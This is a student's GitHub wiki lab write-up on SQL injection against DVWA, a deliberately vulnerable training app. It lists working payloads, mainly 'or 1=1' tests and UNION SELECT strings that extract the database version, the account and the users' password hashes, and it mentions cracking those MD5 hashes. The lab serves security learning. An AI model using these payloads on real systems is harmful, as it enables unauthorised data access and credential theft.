Web Security Lab Part 3: SQL Injection - Hsanokklis/2022-2023-Tech-journal GitHub Wiki

Summary: Demonstrate how to test for SQL injection vulnerabilities

Go to SQL Injection

Basic Injection

In order to exploit SQL injection vulnerabilities, we need to figure out how the query is built in order to inject our parameter in a situation that the query will remain true.

Input a 1 into the User ID box

_ This means that this command is being executed in the database SELECT First_Name,Surname FROM table WHERE_

Testing for SQL Injection Vulnerabilities

Test code '=> and 1=1#

code '=> gives me a fatal error

Test code ' or 1=1# (when I did the code ' or 1=1# => it returned the same thing)

Test code ' or 0=0 union select null, version() #

_ at the the end you can see the database version running the DVWA_

Test code ** ' or 0=0 union select null, user() #**

shows the account that the DVWA database is run on

Test code ** ' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #**

shows usernames and password hashes in the database

Open Password Cracker and decrypt the hashed passwords in the database

User: Admin

User: Gordan Brown

User: Hack Me

User: Pablo Picasso

User: Bob Smith

Hashes are all md5